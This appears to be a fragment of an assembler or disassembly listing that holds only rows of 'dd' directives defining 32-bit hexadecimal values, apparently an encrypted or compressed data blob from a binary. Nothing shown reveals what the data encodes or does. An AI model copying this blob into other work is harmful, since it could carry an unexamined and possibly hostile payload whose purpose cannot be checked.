		dd 82E789AAh, 0D116144Ah, 8A593B2Bh, 2818BB1Dh,	230E9B9Dh
		dd 1E193E29h, 0BC1B3B57h, 0FE7974A9h, 689AE90h,	1A00B756h
		dd 2F6D8313h, 396B5F64h, 0A21A6756h, 909F9064h,	50394E7Ah
		dd 0C885633Bh, 512E8931h, 0F35044F7h, 29218CB1h, 42BA6255h
		dd 0D5F5CD1h, 2D712F0Fh, 3EFC0080h, 293A7A10h, 0BF8E567Bh
		dd 0B8574C54h, 4BF09593h, 197B24DEh, 1634450Ah,	167E0B68h
		dd 577BF7ACh, 67DE7E9h,	6D58EB3Bh, 9A89DCDAh, 63BCF21Fh
		dd 3775D62h, 0D746620Eh, 5AA7BB02h, 14734732h, 1145E003h
		dd 47C82A80h, 0BBE8FBADh, 0C31342CCh, 0BBA72604h, 6205CF43h
		dd 81819A8Eh, 0BB73B1C7h, 0BBE9F357h, 0CBC1AC3Eh, 8FCCD5B1h
		dd 0E131C73Bh, 2B0D7C8Dh, 210319F2h, 0FE13D5B2h, 44B5E44h
		dd 0DAEE76BFh, 0BBAF5972h, 5C10DA31h, 857083C6h, 59B3E164h
		dd 65C83204h, 0BFEE2A3Bh, 0D8BFAD4Fh, 6AE4C48Bh, 0ED23A050h
		dd 77373641h, 0FED1E51h, 9C5E10D9h, 0ABBECE5Bh,	0ABED55BFh
		dd 2F7A055Ch, 0E7C10AF6h, 93EDF657h, 9FD8D83Dh,	9DBBAB53h
		dd 8DAFED5Ch, 0BF4F3B73h, 51CDADC8h, 6E6CB75Ah,	92A00A74h
		dd 7096F448h, 76545824h, 61B0B90Fh, 5F9F15BFh, 90B36D76h
		dd 0B30E6909h, 0F70833B3h, 0A023876h, 93C75C43h, 0C03CAC23h
		dd 352D87BFh, 4799D357h, 0CB248423h, 132C17D8h,	0D4F45F40h
		dd 0D7E15364h
		dd 0DE0A2FCBh, 0D1440C81h, 8CD0C109h, 3D3446Dh,	17D01331h
		dd 0A4C55939h, 0DC4A7AE0h, 815EF052h, 46292A06h, 18892D95h
		dd 76325A88h, 0DB437250h, 37582BB5h, 7D2B4C85h,	197ADA15h
		dd 0F4A7533Dh, 1CBB0A7Eh, 831E4581h, 0D1435F7Ah, 23851C91h
		dd 3C57B15Fh, 6693DD3Ah, 0ABB3B155h, 0D634A317h, 30821BD2h
		dd 338D0061h, 4B008324h, 433A0D00h, 61C21EACh, 26304B08h
		dd 9F3F6872h, 26519E8Ch, 0BB5FE646h, 52E377F6h,	6D9E15B8h
		dd 0A9204CB3h, 0C4B8664Fh, 9A90ED76h, 0DF4174EDh, 0E36F6061h
		dd 406301C9h, 0F6EE97A0h, 0E4E3B4DDh, 3BB99797h, 0DBB935Bh
		dd 2C058D77h, 87878E63h, 1AAE252Ch, 0FAD5EEBh, 0CCF30573h
		dd 6D7C2E44h, 8B6173B8h, 0F77070Bh, 411B408Eh, 0AD7768AFh
		dd 1416B787h, 2FE78FA8h, 66568B5Dh, 81302E78h, 0F735172Ch
		dd 1984388Dh, 0BB878827h, 0EA6C70A4h, 633A4628h, 5A9E8341h
		dd 67A4544Bh, 4C2AC612h, 0D8C8D685h, 5F235391h,	51575B05h
		dd 188617DCh, 1699E89Bh, 21ECE0E8h, 440858FDh, 3109E5A8h
		dd 4BC23806h, 0A0F1514Eh, 9B2FA06Dh, 0C82C0503h, 0BB0CD959h
		dd 435D5745h, 0D8C60C43h, 115B144Bh, 0A9A8DE5Dh, 58EA62FCh
		dd 0D3AC3436h, 8C81C852h, 61397EDDh, 6FC63B23h,	10CC1A26h
		dd 46FD822h, 82DA9F06h,	7EC6EDDh, 130E57D2h, 0A52DA0Fh
		dd 0E28E6BD2h, 4E4CB910h, 26E9702Bh, 9E83396Ch,	5E26D01Ah
		dd 0F9D33926h, 1E71B611h, 0E2CF514h, 0BBB3291Ch, 1B72086Fh
		dd 0AC91F73Ch, 4F6CB20Dh, 0BE07CC52h, 5EF96E82h, 0C1574058h
		dd 1DE91B62h, 3FF9213h,	8F40D996h, 0DE5B2D6Ch, 71FBD217h
		dd 36B9AF52h, 42AF1498h, 0E840A419h, 30BC658Ah,	55FDC81h
		dd 0AB600FC5h, 277DD332h, 0BC2B17ACh, 0E9089059h, 0DC234306h
		dd 8DEDEA0h, 0C943D020h, 0B3765C5Bh, 326568Fh, 27AC7326h
		dd 0B190BDBBh, 472B7026h, 0EF3749BBh, 37E4E439h, 3FDB3737h
		dd 0D98AEB14h, 41D2920h, 0EFBF49C6h, 0D7513777h, 681A5BD2h
		dd 2657C517h, 29D32F05h, 19076A1Bh, 202863B0h, 0C737307Ch
		dd 62C276C5h, 0C7DA5F9Bh, 0ECB86E37h, 0EF0D3240h, 9D2FE5Bh
		dd 1D63B9Ch, 0BD2874B7h, 0EE750906h, 6C2C2D17h,	3FAFBBCFh
		dd 0BD2BEA68h, 0AC05D52Dh, 8651B17Fh, 137A8663h, 0B93D5BAh
		dd 0F5674E10h, 3940375Bh, 0FA846439h, 3333331Dh, 0E4BBC21h
		dd 1D1D7033h, 5A21AC87h, 2633EC8Fh, 46E9006Ch, 0EBD28B76h
		dd 0E634251h, 76D0861h,	131D2C3Bh, 4909DF63h, 6ADE0F16h
		dd 0B6435F92h, 8160EAFDh, 0A2A4A0EAh, 3A113FA4h, 0BF876207h
		dd 0C6DA0781h, 1F1D4523h, 196E5685h, 46F2081Eh,	0CF22F119h
		dd 52B217Fh, 33AC7127h,	104914C7h, 526487ACh, 804C8579h
		dd 713E5E80h, 39190E4Eh, 0B0B0BB6h, 43909902h, 43900B0Bh
		dd 0B0B3906h, 4E40290Bh, 0FB0B0B2Eh, 0F919097h,	5BB80D0Fh
		dd 0AC0C86BAh, 4B83566Ah, 0A1B1490Dh, 5B2E982Eh, 762031F7h
		dd 7E8EB890h, 0A759273Ch, 417A376Bh, 0E89A3223h, 55EA3421h
		dd 0D5C399B5h, 0B3D1F999h, 0D2544D6Ch, 0CBD7F07Dh, 79917CD4h
		dd 4842433Bh, 0EB0360C0h, 0DA4FA91Dh, 3D68B0DBh, 0F5A0330Fh
		dd 0EBDB5F16h, 0ED5F2D12h, 57FD5268h, 0AF6B801Fh, 7C306C7Bh
		dd 0D91C1619h, 48B359DDh, 130F5F5Bh, 5712DA10h,	5A2DF636h
		dd 0FC386923h, 0E91D891h, 0CFEF75DFh, 571B5F01h, 2F7D3020h
		dd 0EC302D17h, 0C56846B6h, 0E6190126h, 46CED05Eh, 1B5B568Eh
		dd 2C78635Bh, 26F96CB8h, 43DE3334h, 0BE4D5F0Ah,	1F361720h
		dd 0DA1B8E4Eh, 67351863h, 0E111C0D8h, 14233859h, 745F2E11h
		dd 0A46E1BABh, 0ABABAB19h, 8CDDA794h, 1B632334h, 0BFBFBFBFh
		dd 6CF70FD2h, 144E5F78h, 0D5AB0644h, 7272365Ah,	2A9D5F43h
		dd 69190EC2h, 795F6AD2h, 0CD21C939h, 435FCC52h,	4CE31D5Fh
		dd 43245F32h, 0A0E4A336h, 0A78F52D3h, 0D2087AB3h, 5FA89CE9h
		dd 2008A7B5h, 4ED54D4Fh, 50F70CAFh, 5BC268C1h, 92326D2Bh
		dd 678D8C35h, 0C26B6455h, 80DC41B1h, 2D45A731h,	0DE1DE1C0h
		dd 0B31C8C9Eh, 2FC611BAh, 9A90E903h, 53C1D9D2h,	60F6794Eh
		dd 0FF5A4AC0h, 9437D00Fh, 2E5B70F0h, 99742782h,	0B11F00C2h
		dd 52F175ABh, 0BB304E2Ch, 0CA483B15h, 0C59E37Fh, 0F38FE172h
		dd 4D434823h, 0A9E7B190h, 124444D6h, 4B78D852h,	16E9516Ah
		dd 0EF539A9Ch, 0C65D6FC5h, 1EDA1292h, 0D4AFDB7h, 0A32F1767h
		dd 0F954271Ch, 585753C2h, 278B92BCh, 0F187F53Ch, 872CF68Bh
		dd 0EF33A19Dh, 0B0B8B7A0h, 87C61A78h, 2122A7A2h, 4827418Eh
		dd 80606E76h, 45F164EFh, 0B8758BAFh, 35613E45h,	5184D3D9h
		dd 6018D1E1h, 3813A24Dh, 473617C6h, 10AACECAh, 0CB5012B0h
		dd 127210B9h, 83DF21DCh, 49112D16h, 553B8211h, 305087D6h
		dd 0E6628C03h, 2D215150h, 0C903A09Dh, 97D65284h, 0E8269B9Bh
		dd 973D05E1h, 0A1289758h, 94B10EFh, 37431840h, 9178AD08h
		dd 4D91059Bh, 0A2DA81Eh, 8BA72FA4h, 0F6CE0FC8h,	5293061Ah
		dd 0FD9AA493h, 0C06BD9Eh, 2022D668h, 0D2360D4Ah, 0D6D05D8Bh
		dd 0D264148Fh, 53D8269Fh, 7F2607ECh, 0CF51EED2h, 5B263273h
		dd 2BDE37ECh, 6038DFDAh, 0F859C38Bh, 26C506F4h,	849F34D0h
		dd 31480D1Dh, 0B5D0B214h, 0B073B675h, 0C3EACF42h, 387DEA2h
		dd 7719B15h, 93915485h,	0EFC1B643h, 6476EFEFh, 0DEF92EFh
		dd 9014C10Dh, 626BE41Bh, 7A23EF04h, 613B05DEh, 0DEDF1ECBh
		dd 0B858B9B3h, 0D59CC89Bh, 61B3930h, 4E2792D4h,	0AFCC1C53h
		dd 45B55369h, 0F184B87Dh, 1DD5A2B3h, 0ACB73D53h, 1367E5CAh
		dd 0B1C1640Ch, 6321C920h, 35989021h, 164FA936h,	5BF4D15Fh
		dd 46842434h, 3B432051h, 68BB1F4Dh, 18947058h, 331BA239h
		dd 8B193020h, 0B655061Bh, 7409A3A6h, 687789D8h,	0E2142127h
		dd 2B3EC8C1h, 0ACDF7CF0h, 9166B715h, 384EA247h,	0AF059D9h
		dd 0BB9542ECh, 19E27C20h, 0EBB651F1h, 44164F4Bh, 0A364F633h
		dd 0BCABAF63h, 0BDE1BF06h, 0BFA887C8h, 930C06BCh, 0DFB30C0Ah
		dd 0D452029h, 78FB2CA8h, 67F87660h, 1D98239Ch, 7A6774B2h
		dd 72194EAFh, 7D1EF1D2h, 0AF6432DFh, 0B21C9CAFh, 0BB76DA1Dh
		dd 4E4FBBBBh, 0ABBB8C8Eh, 0BCAFBBBCh, 212CB7E4h, 0BCAB7623h
		dd 0B925ED93h, 0AB5A32BBh, 7B346179h, 0A3657606h, 0EEBD73BCh
		dd 0DE17A702h, 923C3A1Dh, 0CD27234h, 0F80A52AFh, 7B0BEC10h
		dd 0B6E1749h, 1482894Bh, 0F1BA7A31h, 1CB97279h,	469D400Bh
		dd 0BF9F51EAh, 0B21E5AA6h, 4668461Fh, 58795C3Bh, 51BF040Bh
		dd 72BCDB62h, 5DF44D9h,	0BF9FF0ACh, 0B806127Bh,	54AD382Eh
		dd 8C129387h, 6C68AC5Eh, 3205030Bh, 0D9165E4Eh,	0BE3A57A5h
		dd 0B3809013h, 0C3256669h, 5B67BE9Fh, 832C90F2h, 0BA20FA47h
		dd 386C0484h, 0BD172A47h, 8AC3148Bh, 0EF654205h, 6C6C9B1Ch
		dd 0EFBC6F15h, 19AC05BFh, 8153B264h, 21D81238h,	401CD64Bh
		dd 28440AA7h, 0E419BBDh, 333B4B11h, 6CDBAF43h, 0DF8CB236h
		dd 660EA17Dh, 67173197h, 0ABFB0B33h, 5BF64F0Eh,	7753D9FAh
		dd 0DE475FA3h, 1352DB0Bh, 10135F5Ch, 95217ECDh,	9425A13h
		dd 0DB3B6DC6h, 0B431BBFh, 0E4A10C35h, 0DE9F451Bh, 9BE41C8Bh
		dd 6BF9BBFh, 6F7D8D0Ch,	5C2A7B3Eh, 0C7550CDEh, 0C1FB88D2h
		dd 0EF8BC6D9h, 84C1705h, 33960151h, 0C6943B3h, 3BC44950h
		dd 0A292B9C8h, 0BE8658D2h, 8ED07FF8h, 0DB3B0830h, 10BBBF00h
		dd 9DF362BBh, 0A490A40h
		dd 28201D6Eh, 61FC9B9Fh, 530AE831h, 43102F9Ch, 65C94CFAh
		dd 0C411E527h, 0C9760ED6h, 79272094h, 0EFB441F8h, 0A6EE477h
		dd 0BB029B50h, 4F8541EEh, 0EF613ACh, 137A4773h,	257D7A32h
		dd 4F253253h, 26419059h, 37F9AB39h, 7097963h, 503C1119h
		dd 26F99627h, 4829C939h, 0F42A141h, 83415AC9h, 902E2921h
		dd 0E6364B1h, 2B0E70D4h, 0B901093Bh, 42CC0B3Ah,	23B19090h
		dd 0B842E22Fh, 0B9695BC7h, 78B90B90h, 64065E4Fh, 10370390h
		dd 513BB306h, 0C0D1BA4Fh, 84FA8831h, 3DA59191h,	674E7E7h
		dd 3C9320D8h, 4733FAEDh, 3C50F840h, 4EBA5FF3h, 527B9E2Fh
		dd 0CBC94E49h, 0B3FAD962h, 5E123C43h, 0B43E4C9h, 0FA15E7FAh
		dd 91D94C94h, 79711167h, 43E329C9h, 431B62FAh, 1E484309h
		dd 0FB8E2BD9h, 71FB987Ah, 0EAECA64Ah, 0FBC6F411h, 94E4BC9Eh
		dd 8C5C9E62h, 4953BB5Ch, 314BC94Eh, 725CEBFBh, 0DCC90E42h
		dd 77FB605Ch, 909C80FBh, 55FB4613h, 2F2079FBh, 1D5C6F39h
		dd 42F4845Ch, 9B09C84Eh, 0BCF4EAF4h, 0F97200ECh, 5B5DB3F4h
		dd 0E4A75DA1h, 45719C61h, 5D9DF42Bh, 64DE3660h,	7F3AF6E9h
		dd 872723FFh, 0E3E3012Ch, 6DEE3E3h, 202122FCh, 10502049h
		dd 6DF811Eh, 71B38360h,	0B861E3DEh, 813D898h, 9343CF06h
		dd 0C87B384Fh, 5902EB5Ch, 81495112h, 903E8015h,	3DBB57F9h
		dd 515693F6h, 5EF027A5h, 175B12ABh, 0EA8CF83Dh,	0FFBB737Bh
		dd 3D0DB0B0h, 361D9B6Ch, 347665Fh, 0FB41BFE4h, 1F723596h
		dd 97E85957h, 0B0A009BDh, 0F599BB48h, 1D456E53h, 0D0879D9h
		dd 478DF539h, 87647102h, 4B195B56h, 5960C14Bh, 99DF7921h
		dd 121C18C8h, 0EBFE0376h, 0BC1B20E6h, 3F4FD505h, 0E61756Ah
		dd 0A6FD7712h, 0DCF16A3Eh, 2E0FB7A3h, 27536D36h, 17A06CACh
		dd 0AAD1D882h, 60CED52Eh, 76462CE7h, 16EA313Ah,	43055142h
		dd 9841C244h, 0B8BA4F80h, 0E542E40Eh, 5F890B6Fh, 1409A5B9h
		dd 71C77521h, 9D459CD3h, 0F45FF153h, 0F20D8CF2h, 435348E7h
		dd 33CD5115h, 7468EE08h, 0D45F8ABBh, 0EA846C99h, 0B651FED2h
		dd 0DBE21194h, 4F1E4999h, 46E6E6BBh, 381AEBD2h,	13D55DBBh
		dd 0D80E5D2Eh, 7BDCD3h,	16B4CA2Dh, 2723B014h, 0DAAB2FDFh
		dd 37D0E2DBh, 64F2C2Dh,	0A7A739F9h, 3BA75337h, 0B072EAC3h
		dd 0B6CED9A8h, 1E651106h, 439D08A0h, 0D04D0381h, 0FA8750Fh
		dd 58B8BB50h, 60C0478Dh, 0AD0E95AFh, 0BC3BE4D4h, 1E011D40h
		dd 0ABB54DE7h, 0E33BE39Eh, 0A86FD68Bh, 32C112A3h, 0EA8ED982h
		dd 0F046037h, 70D9B33Bh, 79092EFFh, 9F3B6C26h, 47E7F312h
		dd 0F79E4270h, 0A9B1FBCFh, 3C2DB232h, 871C53Eh,	23E64AF3h
		dd 43F7C8CBh, 569554FBh, 4F3B19Fh, 6FFC5288h, 11D6A452h
		dd 9459D6Bh, 1541F11Fh,	7A13882Fh, 0A54A6F5Dh, 68A1F46Ah
		dd 0AF03A7BAh, 59ED2AB7h, 60708D3h, 0B775820Ch,	0E5F9987Eh
		dd 21B7E1BAh, 25581A11h, 0CC2B99Ah, 7E1E46FAh, 360959DFh
		dd 202B5D6Eh, 80D6BA50h, 0BD1352E7h, 0FF20B7B0h, 0BE23E0A3h
		dd 0ABB25117h, 0EB6AA419h, 59065814h, 7238F9C7h, 17673E96h
		dd 0A2A70851h, 5BEE7075h, 21E62B07h, 38434B73h,	0A3A3B053h
		dd 0EF045F06h, 20AB7D01h, 2F173B01h, 0BC20D9B8h, 5942BB9Bh
		dd 3867A3D9h, 1475ADF8h, 5D2E067Eh, 0DAC547D8h,	66420A47h
		dd 1FAF2316h, 31C11F42h, 715AF6F2h, 0F7B0BCCh, 6F0B2F60h
		dd 35DBD05Ch, 54AA93Eh,	397C970Bh, 43651018h, 68AD8336h
		dd 59E3E16h, 0B372EE22h, 8D51F78Bh, 30B3356Ah, 341CE6BEh
		dd 3B8590D8h, 64F70FF3h, 8217608Bh, 97AE39DEh, 6C39991Dh
		dd 0D6FB298Bh, 8DB299C6h, 571B24E2h, 3CB39B18h,	0C05B3A89h
		dd 0BD13AD87h, 86E4D009h, 0CB1A92ADh, 8ECF64C7h, 0E0B18449h
		dd 10EF8F8Fh, 53584135h, 184026EAh, 2FD95758h, 0CC2E4535h
		dd 5B2E9C22h, 5E32281h,	2A78815Bh, 1B59BB46h, 0EC2DC01Eh
		dd 52056606h, 147E1924h, 21B23094h, 48AD80D4h, 8E1D08B8h
		dd 0C7DABBFAh, 0ED460652h, 0E19C0E24h, 0A36BA1Eh, 7F0E7EE0h
		dd 0FF1B6702h, 4E0F44B8h, 0B85BB81Eh, 0C453B8BCh, 0B8BEDB8Ah
		dd 490CBA00h, 0D340EB94h, 3A548064h, 0EFED22E3h, 92C03E6Ch
		dd 54EAAD0Bh, 4A08BE2Ah, 8E4BFB9Dh, 1F3CCC07h, 0AD07CF20h
		dd 0F10312A3h, 3780504Ah, 6C8EB16Bh, 79D84F6Dh,	22320F44h
		dd 0B20C87Bh, 0ADAD0411h, 0CD9E4440h, 0ADAD07ADh, 0A0B2C403h
		dd 6C926F97h, 0AD492F08h, 8E19592Ah, 0AC09C2B0h, 5718E327h
		dd 40B1A158h, 60ACC3ACh, 0E70E8876h, 46C86423h,	79C9CED5h
		dd 0A032AC1Ah, 0E7682B72h, 0D91E55F3h, 15B961F8h, 0BE3D0618h
		dd 3065552Ah, 4A7D0381h, 88EC0862h, 191F36DCh, 83A1D817h
		dd 2F79B203h, 0BF63F330h, 813DBD73h, 475F6467h,	27BB8C72h
		dd 9C50DD62h, 2A85AB5Ah, 0BA2D5310h, 7C0FB065h,	0D3D2720Fh
		dd 82FE252Ah, 8110E62h,	56BBBB97h, 0F5F11B49h, 0B9ABBF1Dh
		dd 0AEBF9443h, 677A8CD7h, 0BA219FF7h, 4A0867E8h, 0A853D0F4h
		dd 96F035D6h, 2C622788h, 0CBB3A7CFh, 9242CC80h,	0A0D1EFF1h
		dd 0ADF81843h, 0B17D1B2Fh, 0C930975Bh, 20416806h, 0EC071D02h
		dd 0A7B382ACh, 275E0D6Bh, 901E4079h, 4F274C79h,	0F15D2745h
		dd 4301E4FEh, 53955A2Ch, 90F3B87Dh, 0D89DF3B1h,	0A23C4188h
		dd 0F0A046B6h, 0F7982220h, 71145D39h, 6E76F0F6h, 0AFF9172Fh
		dd 9E5B8348h, 77AF1640h, 2B5206DAh, 1361850Fh, 8F08F365h
		dd 4BD960ACh, 102E5B63h, 46A2B94Bh, 0A8CEFF19h,	942712A1h
		dd 8DDACB50h, 36564720h, 552ED3FDh, 0C8324CB2h,	555F5F44h
		dd 5320E4E4h, 43CFBB43h, 9C128306h, 0E0F2D343h,	45670677h
		dd 0B8C45606h, 40B2DB17h, 574B5F31h, 9F891027h,	80300963h
		dd 79FD58D3h, 5981B141h, 945F4F7Ah, 0E1BBA419h,	0B8D3B84Fh
		dd 5B2B2138h, 239E6907h, 0B5231A52h, 33CD2054h,	3B745124h
		dd 0C91CED93h, 1E9D5097h, 1B112BF5h, 283356F2h,	5F7A5008h
		dd 0A39B43E4h, 0E1B07AEh, 0F7BE4EC4h, 4BD2054Ah, 0CD471650h
		dd 402781Ah, 3D262B6Dh,	52E36F01h, 4740CE52h, 90412194h
		dd 0B430B730h, 7B361FB1h, 0A7F9B9B2h, 0C751B5AEh, 10305ED2h
		dd 0E57004EFh, 62F510ABh, 0BB144F9Bh, 0C35181A8h, 0BD355848h
		dd 615FF43h, 38A252A7h,	3424B05Bh, 13D408BBh, 3F4240F4h
		dd 3815DB62h, 0D172048Ah, 1CD6DE51h, 1FBF1984h,	0C533092Eh
		dd 29AF714Eh, 0A3E4D92h, 5F6740B7h, 683D4A86h, 0E6D9FB35h
		dd 45265152h, 5188B12Fh, 0F2557147h, 52BC593Fh,	62168B80h
		dd 3B064955h, 5C1DBB00h, 0B6074E96h, 319C4950h,	0A75207EDh
		dd 82C682F7h, 9A0557B3h, 10881F2h, 0A8B77577h, 2F662FB3h
		dd 21300C06h, 116F025Ch, 0CF1050B1h, 0D073B03h,	39EE143Bh
		dd 5196A88Fh, 0DFB34DE5h, 0CABBF785h, 6E50D05Fh, 154C216Dh
		dd 64E4592Ch, 793829B2h, 0CEB6E43h, 63DE3B16h, 0B267C725h
		dd 11376433h, 0C38A1263h, 0B0C0EE9h, 60A33566h,	10E42F05h
		dd 9C153DDh, 0CFAE3ED4h, 0CD982763h, 0FADEB703h, 0F3B6B72h
		dd 13DF9F3Bh, 0ADAF128Fh, 0D80D538Bh, 0D879DC8h, 340C3E6Bh
		dd 216753BFh, 240DE0ABh, 4517B71Fh, 0D03A2281h,	0CF6BC751h
		dd 8A863ABh, 8B15125h, 80F6AEDCh, 2324E0BBh, 62F61D5h
		dd 0CE3F321Eh, 0EC0AF253h, 530EC359h, 392BB347h, 7BC99421h
		dd 7200D834h, 0B6D02BD9h, 769F427Eh, 5833A04Bh,	5273999Bh
		dd 49C8CF3Bh, 0BB13ADB7h
		dd 22F1C811h, 0AC90BB3Eh, 72F67395h, 859E1151h,	0C8BC3159h
		dd 0F3174D08h, 0CD9A05B3h, 217B4B01h, 0BBAB0322h, 3C58CCC3h
		dd 0B1BB610h, 9981CE22h, 75151F7h, 8A4595C8h, 0C21F774Dh
		dd 0CF242C15h, 3741A2E0h, 6C5E7C0Bh, 16CC2ABDh,	0ABD0DB03h
		dd 3DB30ABEh, 3D472D3Bh, 7246C70Dh, 0ADAB9210h,	4599BB11h
		dd 0AD833B0Eh, 0EA104378h, 93309582h, 0E6E6F30h, 0BC03D1B3h
		dd 0C5AF3F39h, 77BC6443h, 570D5FD8h, 35D408A9h,	0B280D457h
		dd 0D002D110h, 670E3E24h, 0C302D7ADh, 68436E28h, 0E04E2012h
		dd 3C008AFh, 0F5895E18h, 1D57301h, 0F54D8733h, 5167256Ch
		dd 0A7BFAB62h, 0D2380199h, 52AF5D9Bh, 0C761D975h, 0B7B976Bh
		dd 0AB778980h, 0E7C50545h, 31C9FDDAh, 17A32730h, 17DBB7C5h
		dd 0A0D5BB5Eh, 0B7A3B35Ch, 502306B7h, 0C9BD4EA0h, 9ADDD73Bh
		dd 1793BF55h, 0C864728h, 0DC9453AEh, 58D9AE04h,	24AB2305h
		dd 0C3880D1Ch, 0C78FC3A4h, 0CC629B71h, 0BC931Eh, 11630118h
		dd 0A324AD0Bh, 0F232488Bh, 167B99F0h, 7B3B024Dh, 9B8F4FDDh
		dd 0B3F43870h, 38BA1222h, 0AF1115F2h, 0B6BBBB9Eh, 3B0963AFh
		dd 0EC466F7h, 1700807h,	1031024Ch, 0C29E62AAh, 3B4D55D0h
		dd 114F820h, 73A9392Bh,	0C0968Fh, 0C4F6672h, 7A00DC96h
		dd 0DBBBB382h, 0F48325D8h, 0B7FD9002h, 2F0D3B0Fh, 41AF3511h
		dd 642C67ACh, 87BB2387h, 60311475h, 7E390267h, 1142B807h
		dd 5429B0EBh, 921B3F11h, 23634B0Bh, 642278DFh, 2308E401h
		dd 3754EC8Fh, 5CAFD83Ah, 0C3C68351h, 0B725689Bh, 1DBAB5B3h
		dd 0A78A5C04h, 0C294BA6Ah, 0C0BDBBBFh, 0C12F246Ch, 11ADBB1Dh
		dd 41B0009Bh, 642EA823h, 2E765B2Eh, 462B11EAh, 4AE7648Ch
		dd 40765D6Ch, 0ED82130h, 1B76C72Ah, 194A6D93h, 0DDDF7CB8h
		dd 4CA8F9E0h, 0BA23A8F6h, 0FB4161C4h, 0F612C38Ah, 0FB7D0E51h
		dd 8E7BF336h, 410C5436h, 0FCF006AFh, 1F71418Ch,	53A93FCBh
		dd 8CE283E5h, 29B15CBh,	8151ECC5h, 47CCEE24h, 0AB7B3332h
		dd 81962F88h, 7C2DCFBh,	47E5BB21h, 24E4AD60h, 0A8A2B937h
		dd 4191AEA7h, 8FEE5680h, 0C61759ABh, 0B50C067Bh, 0BC6E4C10h
		dd 90AF7094h, 0AAE37C11h, 4DE12F33h, 0C776673Ah, 61C81314h
		dd 0F62D3121h, 1EC161E7h, 0B29AD00h, 3B219DAEh,	31E6AE1Fh
		dd 0CF92B692h, 0FFDF7880h, 19B223C0h, 8F2E421Bh, 0B051AEAAh
		dd 721900ECh, 71B9985Fh, 19D4B3B6h, 27238806h, 0DBC2184Ch
		dd 27DDF33Dh, 91AC3751h, 167EE196h, 0BA030FF9h,	46494CC9h
		dd 7BE9361Eh, 0AAAB5133h, 1C9580DAh, 5930E340h,	4711CB82h
		dd 0ABD545A3h, 41D8EEB4h, 576B067Eh, 0A4A053ABh, 6B90CCh
		dd 5EF817BDh, 0B3C4522h, 0E5635B15h, 0F0126824h, 1C5E7613h
		dd 55E51163h, 4744E014h, 118D620Dh, 3E866E29h, 0B3A4401h
		dd 0BA478F62h, 8938D78h, 0B4854D4h, 6783842Ch, 1E4E0661h
		dd 269DD311h, 2B39738Eh, 0EA99B11h, 55C9A038h, 0E414A7A7h
		dd 162ADDD6h, 8F0A0BB6h, 5EEAA73h, 0BBB21B98h, 0E0680483h
		dd 4398436Ch, 0B59B8B6h, 0D8360FBFh, 9E6EF7Bh, 3B3D039Ch
		dd 0A29CDDEBh, 1601F23h, 0DDDA33BFh, 8413C1CCh,	81F2C517h
		dd 0B1B421ADh, 0CB95A591h, 830A1908h, 7228D845h, 0A688988Ch
		dd 98446E46h, 52FAE58Dh, 64065D77h, 0B36129CEh,	203364EFh
		dd 251FBF26h, 0C8D13EF8h, 5AA44F67h, 9843568Fh,	8359981Ch
		dd 87238D73h, 0DAB5EDB0h, 9662A918h, 0CCC8DCDh,	410D2072h
		dd 8E427130h, 483E09E4h, 367C909Ch, 0FE0B589Ch,	0BA734353h
		dd 820D99EAh, 0C705BADAh, 112E788Bh, 0F9F9F308h, 6E067B26h
		dd 6173350Dh, 45F60E58h, 1321B431h, 0E4069DE0h,	667CE48h
		dd 9C434B73h, 4B4B4643h, 40E7C927h, 7F4B6436h, 272B8EF5h
		dd 395E7C54h, 2075BF61h, 66B06F1h, 147D0A00h, 81F4810Bh
		dd 9F048D09h, 9B941B52h, 0BB13C8E4h, 4D0A84A7h,	555F9A3Dh
		dd 746BAD17h, 13BD6F28h, 0A70522F0h, 418C5336h,	3373F21Bh
		dd 1767EC62h, 5017CEF5h, 52DDAB55h, 0AD9B202Fh,	0B4430D24h
		dd 0D9CCF516h, 336B5681h, 0E1A66655h, 6053114Bh, 0E8D70D91h
		dd 0B155A2C5h, 46D99C05h, 678CB646h, 6B515D67h,	0F36D8A74h
		dd 0C8B88FD7h, 1F38674Ch, 0DB8D92F1h, 6614955Bh, 3B0396B5h
		dd 199CA0A3h, 649D5917h, 944447B3h, 0C5FC1CB6h,	9A49CB30h
		dd 7E3B1136h, 0E0A4EC20h, 4F8E9746h, 61154B4Ah,	0BBF7B073h
		dd 0AB8B40CCh, 8F5FBA88h, 0D9E1C27Ah, 8F87A2EEh, 234CDE35h
		dd 97842454h, 506575DFh, 0BB484CA6h, 6E45C053h,	7CD8A4E6h
		dd 241DA427h, 31B4277Ah, 126B7E06h, 0C3543D8Ch,	0A7932A1Ch
		dd 14B155DFh, 5AE48A87h, 0A1ABD643h, 0A3089E1Ah, 0DC227529h
		dd 0A327B677h, 6047A9EFh, 0FE103B1Ch, 0A18CE9A7h, 0B2A8B208h
		dd 0DC6C5FC0h, 7826E38h, 3BABD241h, 963E251Eh, 5A22A2DCh
		dd 60C7364Eh, 38E14976h, 0F077FDEh, 0A2AFB948h,	73A1161Bh
		dd 0A2685826h, 5C0D66A6h, 5687F8B8h, 0A28CD116h, 4D64B7E1h
		dd 493B34C1h, 5F1E020Ch, 0D1126A69h, 0E0F59268h, 8622BC81h
		dd 8222F95h, 0C954B153h, 0CD804F4Bh, 6E771C4Ah,	0AA3113D1h
		dd 0BB47F263h, 0E7A2BA42h, 10D87457h, 39A29F88h, 0F14BBBF0h
		dd 0D4FA1FDCh, 3BD2BCFAh, 54D5431Eh, 474C4434h,	0A4BD5B7Bh
		dd 5F374262h, 0C6EE68ABh, 5C5BB80Ah, 2BABFCDEh,	0DBD22FD0h
		dd 0A206B241h, 21D84903h, 0D83B8454h, 1F1E3B6Dh, 0D9574B06h
		dd 27D26F28h, 6CFDAE54h, 57D80B45h, 61E178D2h, 3445D66Dh
		dd 0A7A6A714h, 0D9B3754Eh, 0A706FEE6h, 0B8D247DAh, 0AB21C111h
		dd 3B2933C4h, 0B1DE942Fh, 1D53A216h, 9190FD03h,	1BAB7447h
		dd 0AEAF5BB8h, 28B823E3h, 405002Dh, 732E36D8h, 0F56FFC2Fh
		dd 279AD643h, 2752AA1Fh, 0DB55D943h, 586CD754h,	0BC551415h
		dd 0F1AB86Dh, 0CB7952Dh, 3840080Dh, 9AEA9842h, 0C51BDC71h
		dd 2F637B01h, 2C6A0D43h, 84306130h, 0E309151Bh,	2763A152h
		dd 3B92F8CCh, 0A7F02BA3h, 0A016A755h, 0E3A73446h, 0CE6D6A0Bh
		dd 2C08DD8Ch, 9EA74531h, 90A25A05h, 7F36102Dh, 6C8E6D12h
		dd 15457704h, 937226BAh, 0A803B3ADh, 64DEA78Ah,	4D662A58h
		dd 0E0125BADh, 0EC2960DFh, 0D802DC24h, 340CC2Ch, 3DB8AFF6h
